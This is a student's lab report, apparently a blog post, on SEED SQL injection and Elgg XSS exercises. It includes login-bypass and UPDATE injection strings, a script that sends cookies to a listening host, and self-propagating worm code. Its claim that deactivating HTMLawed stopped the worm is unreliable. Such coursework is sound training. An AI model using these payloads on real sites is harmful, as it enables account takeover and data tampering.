lmy12

导航

20252821 2025-2026-2 《网络攻防实践》第10周作业

20252821 2025-2026-2 《网络攻防实践》第10周作业

1.实践内容

1.1 SEED SQL注入攻击与防御实验

  • 熟悉SQL语句
    使用数据库工具查看已创建的 Users 数据库中的 credential 表，了解表中存储的员工信息字段（如 eid、密码、薪水、ssn 等），并练习基本 SQL 查询

  • 对 SELECT 语句的 SQL 注入攻击
    利用 Web 应用程序登录界面的 SQL 注入漏洞，在不知道密码的情况下，以任意用户（例如管理员）身份成功登录系统

  • 对 UPDATE 语句的 SQL 注入攻击
    利用员工个人资料更新界面的 SQL 注入漏洞，通过构造恶意输入，修改数据库中的敏感信息（如提升权限、篡改他人数据等）

  • SQL 对抗（修复漏洞）
    针对上述发现的 SQL 注入漏洞，采用适当的防御技术（如预编译语句、输入过滤等）对代码进行修复，并验证修复后注入攻击不再有效

1.2 SEED XSS跨站脚本攻击实验（Elgg）

  • 发布恶意消息，显示警报窗口
    在 Elgg 个人配置文件中嵌入 JavaScript 程序，当其他用户查看该配置文件时，浏览器弹出一个警告窗口

  • 弹窗显示 Cookie 信息
    修改嵌入的 JavaScript 代码，使其弹窗显示当前访问者的 Cookie 内容

  • 窃取受害者的 Cookie
    编写 JavaScript 代码，将受害者的 Cookie 发送到攻击者控制的服务器，实现 Cookie 窃取

  • 成为受害者的朋友
    利用 JavaScript 程序自动发送加好友请求，使受害者在不知情的情况下将攻击者添加为好友。要求先分析 Elgg 加好友的 HTTP 请求过程

  • 修改受害者的信息
    编写 JavaScript 程序，当受害者访问攻击者页面时，自动修改受害者的个人资料（如“关于我”字段），无需受害者干预

  • 编写 XSS 蠕虫
    设计并实现一个具有自传播能力的 XSS 蠕虫，使得任何查看被感染用户资料的用户都会被自动感染，并继续向其他用户传播

  • 对抗 XSS 攻击
    简单描述防御 XSS 攻击的常见方法（如输入过滤、输出转义、内容安全策略等）

2.实践过程

2.1 准备阶段

在这个链接下载SEEDUbuntu-16.04-32bit.zip
https://seedsecuritylabs.org/lab_env.html

image
ng...)

下载后开始自定义安装

image

image

启动，成功

image

升级权限，输入指令su -密码是seedubuntu

image

修改主机名字为自己姓名liumingyang

image

2.2 SEED SQL注入攻击与防御实验

2.2.1 熟悉SQL语句

目标：我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。在此任务中，需要使用数据库来熟悉SQL查询。

输入代码

点击查看代码 
mysql -u root -p //登录数据库
show databases; //展示库

image

输入指令

点击查看代码 
use Users; //查看Users数据库
show tables; //查看里面的表

image

输入指令select * from credential;查看credential表中的所有条目

image

输入指令select * from credential where Name = 'Boby';，查询Name为‘Boby’的相关信息

image

2.2.2 对SELECT语句的SQL注入攻击

目标：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。

浏览器打开 www.SEEDLabSQLInjection.com 网页。

image

按F12进入开发者模式，任意输入用户名和密码点击登录。发现登录过程中是使用 get请求访问unsafe_home.php

image

通过本地文件查看他的源码/var/www/SQLInjection/unsafe_home.php，发现是直接将用户输入拼接到SQL语句中。这里存在典型的SQL注入漏洞

image

当输入Admin'#作为用户名时，实际执行的SQL变为：SELECT ... FROM CREDENTIAL WHERE name='Admin'#'
只要数据库中存在用户名为Admin的记录，攻击者即可绕过密码验证获取管理员权限。

image

image

2.2.3 对UPDATE语句的SQL注入攻击

目标：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

任意输入点击保存。发现登录过程中同样使用get请求访问unsafe_edit_backend.php

image

打开/var/www/SQLInjection/unsafe_edit_backend.php查看页面源代码

image

在nickname栏输入', Salary='20252821' where name='Ryan';#,点击Save后发现界面中的Salary项成功修改

image

image

2.2.4 SQL对抗

目标：修复上述SQL注入攻击漏洞

这里unsafe_home.php文件默认为只读，因此要先修改unsafe_home.php文件权限为可以编辑

image

输入指令

点击查看代码 
//修改unsafe_home.php中的内容
$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);

测试是否还存在SQL注入漏洞。输入Admin’#发现不能成功登录了，说明漏洞修复成功。

image

2.3 SEED XSS跨站脚本攻击实验

2.3.1 发布恶意消息，显示警报窗口

目标：在Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看该配置文件时，将执行JavaScript程序并显示一个警报窗口。

登录网址 http://www.xsslabelgg.com ，用户名：alice，密码：seedalice

image

点击头像，进入edit profile界面。在Brief description中输入XSS攻击代码。
<script>alert("20252821lmy");</script>

点击保存后即可显示xss攻击信息弹窗。
image

2.3.2 弹窗显示cookie信息

目标：将cookie信息显示

将Brief description中的信息更改，点击保存则可以弹出cookie信息
输入指令<script> alert(document.cookie);</script>

image

image

2.3.3 窃取受害者的cookies

目标：将cookie发送给攻击者

输入指令ifconfig查看本机IP地址为192.168.200.9

image

将Brief description中的信息更改，点击保存。
输入指令<script> document.write('<img src=http://192.168.200.9:5555?c=' + escape(document.cookie) + '>'); </script>

image

登录boby的账户，查看alice账户信息时成功窃取到了boby用户的cookies

image

image

在终端输入指令nc -l 5555 -v开始监听，可以发现Cookie被成功窃取，Elgg%3Ddvqb4mnhjfsf2oeu0eg6o48263 就是被窃取的 Cookie
image

2.3.4 成为受害者的朋友

目标：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程

在alice账户中选择“more”-->“Members”，按F12查看，选择boby添加为朋友，发现编号为45
image

删除好友后再回到Alice主页中的Edit profile处，在about me模块中加入如下代码

点击查看代码 
<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

image

保存后登录alice的主页，发现已经和自己以及boby成为好友

image

2.3.5 修改受害者的信息

目标：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改

在alice账户的about me中填写，并保存
获取当前登录用户的身份信息、安全令牌，构造篡改个人资料的请求，自动悄悄发送请求，把用户简介改成：This have been cracked by 20252821lmy.

点击查看代码 
<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This has been cracked by 20252821lmy.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=45;
	if(elgg.session.user.guid==aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

image

登录boby账户并访问alice主页后，发现alice主页个人信息已经被强制更改

image

2.3.6 编写XSS蠕虫

在alice账户的about me中填写，并保存
下面是一段XSS蠕虫病毒代码，不仅会偷偷篡改个人资料，还会把自身代码复制到个人简介里，实现自我复制、无限传播，访问者打开页面就会中招

点击查看代码 
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>20252821lmy"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=45;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image

登录boby账户并访问alice主页后，可以看到个人信息已经被强制修改

image

image

2.3.7 对抗XSS攻击

链接为www.xsslabelgg.com/admin, 登录账号:Admin，密码:seedelgg

image

点击plugin，再点击HTMLawed，然后改为Deactivate

image

image

image

重新进行2.3.6小节的模拟XSS攻击后发现攻击失败

3.学习中遇到的问题及解决

  1. 最重要的一点，这个虚拟机无法进行复制粘贴
    只能说很难受，一直手敲所有代码，即使参考了滕森同学的解决方案，但是没有成功，最后含泪一个字一个字的敲

  2. 其他没有问题，这次比较简单

4.4.实践总结

本次实验系统验证了SQL注入与XSS两类高危漏洞的触发机制与防御逻辑。针对SELECT注入，通过在登录框构造Admin'#闭合字符串并注释后续条件，成功绕过密码验证；针对UPDATE注入，在更新界面利用', salary='999999' WHERE eid='Admin'#实现了对数据库非授权字段的篡改，证明了参数拼接在写操作中危害更甚——攻击者不止可窃取数据，还能获得对数据库的写入控制。防御层面，采用参数化查询将用户输入严格限定为数据而非代码，从根本上消除了注入面。

XSS实验聚焦存储型跨站脚本。在Elgg个人简介嵌入alert(document.cookie)即可窃取会话凭证；通过分析加好友请求的HTTP结构，构造恶意JS自动发送好友请求并修改受害者资料；进一步编写自传播蠕虫，使得访问受感染页面即向其他用户扩散脚本。防御方案需结合HTML实体编码与CSP策略，阻断脚本执行环境。

综上，安全编码的核心原则是“不信任任何外部输入”。预编译语句与输出转义并非复杂技术，却常常被开发流程忽视。本实验验证了轻视输入校验所引发的连锁风险。

（PS：手敲代码真的很累！！！）

posted on 2026-06-02 20:30  无敌暴龙战神lmy  阅读(27)  评论(0)    收藏  举报